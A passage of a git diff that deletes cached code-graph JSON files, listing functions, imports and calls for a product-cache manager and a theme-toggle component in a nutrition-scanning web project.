-{"nodes": [{"id": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "label": "jsonCacheManager.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L1"}, {"id": "lib_jsoncachemanager_jsoncachedata", "label": "JsonCacheData", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L12"}, {"id": "lib_jsoncachemanager_jsoncachemanager", "label": "JsonCacheManager", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L18"}, {"id": "lib_jsoncachemanager_jsoncachemanager_constructor", "label": ".constructor()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L23"}, {"id": "lib_jsoncachemanager_jsoncachemanager_getinstance", "label": ".getInstance()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L46"}, {"id": "lib_jsoncachemanager_jsoncachemanager_loadcache", "label": ".loadCache()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L56"}, {"id": "lib_jsoncachemanager_jsoncachemanager_savecache", "label": ".saveCache()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L89"}, {"id": "lib_jsoncachemanager_jsoncachemanager_converttocachedproduct", "label": ".convertToCachedProduct()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L111"}, {"id": "lib_jsoncachemanager_jsoncachemanager_converttoapiproduct", "label": ".convertToAPIProduct()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L125"}, {"id": "lib_jsoncachemanager_jsoncachemanager_mergeproductdata", "label": ".mergeProductData()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L134"}, {"id": "lib_jsoncachemanager_jsoncachemanager_calculaterelevancescore", "label": ".calculateRelevanceScore()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L152"}, {"id": "lib_jsoncachemanager_jsoncachemanager_getproductbycode", "label": ".getProductByCode()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L188"}, {"id": "lib_jsoncachemanager_jsoncachemanager_searchproducts", "label": ".searchProducts()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L211"}, {"id": "lib_jsoncachemanager_jsoncachemanager_saveproduct", "label": ".saveProduct()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L289"}, {"id": "lib_jsoncachemanager_jsoncachemanager_saveproducts", "label": ".saveProducts()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L327"}, {"id": "lib_jsoncachemanager_jsoncachemanager_getstoragestats", "label": ".getStorageStats()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L384"}, {"id": "lib_jsoncachemanager_jsoncachemanager_clearcache", "label": ".clearCache()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L431"}, {"id": "lib_jsoncachemanager_jsoncachemanager_isinitialized", "label": ".isInitialized()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L450"}], "edges": [{"source": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "target": "fs", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "target": "fs", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "target": "path", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "target": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L9", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "target": "lib_openfoodfactsapi_product", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L9", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "target": "d_documents_github_nutriscan_lib_types_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L10", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "target": "lib_types_cachedproduct", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L10", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "target": "lib_types_storagestats", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L10", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "target": "lib_jsoncachemanager_jsoncachedata", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L12", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "target": "lib_jsoncachemanager_jsoncachemanager", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L18", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager", "target": "lib_jsoncachemanager_jsoncachemanager_constructor", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L23", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager", "target": "lib_jsoncachemanager_jsoncachemanager_getinstance", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L46", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager", "target": "lib_jsoncachemanager_jsoncachemanager_loadcache", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L56", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager", "target": "lib_jsoncachemanager_jsoncachemanager_savecache", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L89", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager", "target": "lib_jsoncachemanager_jsoncachemanager_converttocachedproduct", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L111", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager", "target": "lib_jsoncachemanager_jsoncachemanager_converttoapiproduct", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L125", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager", "target": "lib_jsoncachemanager_jsoncachemanager_mergeproductdata", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L134", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager", "target": "lib_jsoncachemanager_jsoncachemanager_calculaterelevancescore", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L152", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager", "target": "lib_jsoncachemanager_jsoncachemanager_getproductbycode", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L188", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager", "target": "lib_jsoncachemanager_jsoncachemanager_searchproducts", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L211", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager", "target": "lib_jsoncachemanager_jsoncachemanager_saveproduct", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L289", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager", "target": "lib_jsoncachemanager_jsoncachemanager_saveproducts", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L327", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager", "target": "lib_jsoncachemanager_jsoncachemanager_getstoragestats", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L384", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager", "target": "lib_jsoncachemanager_jsoncachemanager_clearcache", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L431", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager", "target": "lib_jsoncachemanager_jsoncachemanager_isinitialized", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L450", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "target": "lib_jsoncachemanager_jsoncachemanager", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L461", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager_getproductbycode", "target": "lib_jsoncachemanager_jsoncachemanager_loadcache", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L190", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager_getproductbycode", "target": "lib_jsoncachemanager_jsoncachemanager_converttoapiproduct", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L197", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager_searchproducts", "target": "lib_jsoncachemanager_jsoncachemanager_loadcache", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L222", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager_saveproduct", "target": "lib_jsoncachemanager_jsoncachemanager_loadcache", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L291", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager_saveproduct", "target": "lib_jsoncachemanager_jsoncachemanager_mergeproductdata", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L305", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager_saveproduct", "target": "lib_jsoncachemanager_jsoncachemanager_converttocachedproduct", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L311", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager_saveproduct", "target": "lib_jsoncachemanager_jsoncachemanager_savecache", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L316", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager_saveproducts", "target": "lib_jsoncachemanager_jsoncachemanager_loadcache", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L335", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager_saveproducts", "target": "lib_jsoncachemanager_jsoncachemanager_mergeproductdata", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L352", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager_saveproducts", "target": "lib_jsoncachemanager_jsoncachemanager_converttocachedproduct", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L358", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager_saveproducts", "target": "lib_jsoncachemanager_jsoncachemanager_savecache", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L370", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager_getstoragestats", "target": "lib_jsoncachemanager_jsoncachemanager_loadcache", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L386", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager_clearcache", "target": "lib_jsoncachemanager_jsoncachemanager_savecache", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L438", "weight": 1.0}, {"source": "lib_jsoncachemanager_jsoncachemanager_isinitialized", "target": "lib_jsoncachemanager_jsoncachemanager_loadcache", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L452", "weight": 1.0}], "raw_calls": [{"caller_nid": "lib_jsoncachemanager_jsoncachemanager_constructor", "callee": "join", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L25"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_constructor", "callee": "cwd", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L26"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_constructor", "callee": "dirname", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L32"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_constructor", "callee": "existsSync", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L34"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_constructor", "callee": "mkdirSync", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L35"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_constructor", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L36"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_constructor", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L39"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_loadcache", "callee": "existsSync", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L60"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_loadcache", "callee": "readFile", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L61"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_loadcache", "callee": "parse", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L62"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_loadcache", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L63"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_loadcache", "callee": "keys", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L65"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_loadcache", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L74"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_loadcache", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L77"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_savecache", "callee": "writeFile", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L93"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_savecache", "callee": "stringify", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L95"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_savecache", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L98"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_savecache", "callee": "keys", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L100"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_savecache", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L104"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_converttocachedproduct", "callee": "now", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L115"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_converttocachedproduct", "callee": "now", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L116"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_mergeproductdata", "callee": "now", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L143"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_calculaterelevancescore", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L156"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_calculaterelevancescore", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L157"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_calculaterelevancescore", "callee": "startsWith", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L165"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_calculaterelevancescore", "callee": "includes", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L170"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_calculaterelevancescore", "callee": "includes", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L176"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_calculaterelevancescore", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L176"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_calculaterelevancescore", "callee": "includes", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L177"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_calculaterelevancescore", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L177"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_getproductbycode", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L196"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_getproductbycode", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L200"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_getproductbycode", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L203"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_searchproducts", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L233"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_searchproducts", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L234"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_searchproducts", "callee": "slice", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L239"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_searchproducts", "callee": "sort", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L239"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_searchproducts", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L239"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_searchproducts", "callee": "filter", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L239"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_searchproducts", "callee": "values", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L239"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_searchproducts", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L266"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_searchproducts", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L276"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_saveproduct", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L309"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_saveproduct", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L312"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_saveproduct", "callee": "now", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L315"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_saveproduct", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L319"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_saveproducts", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L356"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_saveproducts", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L359"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_saveproducts", "callee": "now", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L369"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_saveproducts", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L371"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_saveproducts", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L375"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_getstoragestats", "callee": "keys", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L397"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_getstoragestats", "callee": "stat", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L402"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_getstoragestats", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L405"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_getstoragestats", "callee": "parseFloat", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L413"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_getstoragestats", "callee": "toFixed", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L413"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_getstoragestats", "callee": "parseFloat", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L415"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_getstoragestats", "callee": "toFixed", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L415"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_getstoragestats", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L418"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_clearcache", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L439"}, {"caller_nid": "lib_jsoncachemanager_jsoncachemanager_clearcache", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\jsonCacheManager.ts", "source_location": "L442"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/9dd0d3ccd28b60f5c66f0bde1d6eb99a8ad1c6495e8dacc1ac848c2edd90e089.json b/graphify-out/cache/ast/9dd0d3ccd28b60f5c66f0bde1d6eb99a8ad1c6495e8dacc1ac848c2edd90e089.json
deleted file mode 100644
index c3ab5bc..0000000
--- a/graphify-out/cache/ast/9dd0d3ccd28b60f5c66f0bde1d6eb99a8ad1c6495e8dacc1ac848c2edd90e089.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_theme_toggle_tsx", "label": "theme-toggle.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\theme-toggle.tsx", "source_location": "L1"}, {"id": "components_theme_toggle_themetoggle", "label": "ThemeToggle()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\theme-toggle.tsx", "source_location": "L13"}], "edges": [{"source": "d_documents_github_nutriscan_components_theme_toggle_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\theme-toggle.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_theme_toggle_tsx", "target": "next_themes", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\theme-toggle.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_theme_toggle_tsx", "target": "d_documents_github_nutriscan_components_ui_button_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", 